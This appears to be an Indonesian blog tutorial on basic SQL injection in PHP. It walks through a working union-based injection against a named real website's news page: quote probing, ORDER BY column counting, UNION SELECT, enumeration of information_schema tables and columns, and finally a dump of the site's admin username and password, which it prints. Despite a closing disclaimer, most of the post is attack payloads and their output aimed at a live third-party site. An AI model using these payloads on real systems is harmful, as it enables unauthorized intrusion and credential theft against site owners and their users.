Teknik Dasar SQL injection pada PHP
Buat yang sudah familiar dengan SQL tidak ada salahnya mempraktikkan command2 yang sudah dikuasai di SQL untuk mencoba teknik SQL injection. Dengan teknik ini kita setidaknya dapat mengetahui apakah suatu web itu vulnerable (security-nya lemah) atau tidak.
Nah kalau ternyata web tersebut lemah, maka kita kemungkinan dapat mengambil password ama username admin-nya.
Berikut saya mencoba untuk melakukan SQL injection pada situs :
http://www.lbpl.in/
dari alamat tersebut kita coba cari tab yang link nya ada .php?id=, pada kasus ini saya mencoba pada sub artikel NEWS (Happy New Year 2010), dan hasilnya alamat sebagai berikut :
http://www.lbpl.in/news_detail.php?id=26Nah dari alamat tersebut kita coba apakah vulnerable atau tidak dengan membubuhkan tanda ‘ dibelakang angka
http://www.lbpl.in/news_detail.php?id=26’Dan ternyata keluar tulisan seperti dibawah ini :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
itu artinya web tersebut vulnerable dan dapat dikasih SQL injection. Adapun jika tidak muncul tulisan seperti itu, berarti situs tidak vulnerable.
Lanjut
Sekarang kita cari panjang kolom dengan perintah ORDER BY
http://www.lbpl.in/news_detail.php?id=26 order by 1-- (ternyata tidak eror)coba kita tingkatkan angka dibelakang order by sampai kita jumpai eror
http://www.lbpl.in/news_detail.php?id=26 order by 4--Nah ternyata muncul tulisan Unknown column '5' in 'order clause'
itu artinya panjang kolom hanya 4. Setelah itu kita gunakan perintah union all select untuk mengetahui kolom mana yang bisa diinject
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,2,3,4--
Nah nanti akan muncul angka 2 dan 3
jadi dari keterangan tersebut kita dapat melakukan inject ke kolom 2 atau 3, terserah kita mau pilih yang mana.
Sekarang kita coba mengetahui versi php yang digunakan
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,version(),3,4--
muncul tulisan 5.0.77MM0.1-LOG
itu artinya versi php yang digunakan versi 5, jadi kita tidak perlu susah-susah untuk menebak-nebak tabelnya seperti di php versi 4
Sekarang kita cari nama-nama table yang ada pada database
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--
dari perintah tersebut kita dapat nama-nama table sebagai berikut :ADMIN,AWARDS,BANNER,CATALOGUE,EVENTS,NEWS,NEWS_EMAIL,USERS,VIDEO
Sekarang kita gunakan table ADMIN tetapi kita harus mengkonversinya terlebih dahulu ke bentuk hexadecimal_sql, sehingga menjadi 0x41444d494e
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name =0x41444d494e--
Setelah itu muncul ID,USERNAME,PASSYup langkah terakhir nie :
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(id,username,pass),3,4 from admin--
Jreng..jreng muncul deh id, username ama passwordnya yaitu id=1, username=ADMIN, password=ADMINSelamat mencoba
nb: penulis tidak bertanggungjawab atas penyalahgunaan teknik ini. Ini hanya untuk sekedar pengetahuan saja.
Tidak ada komentar:
Posting Komentar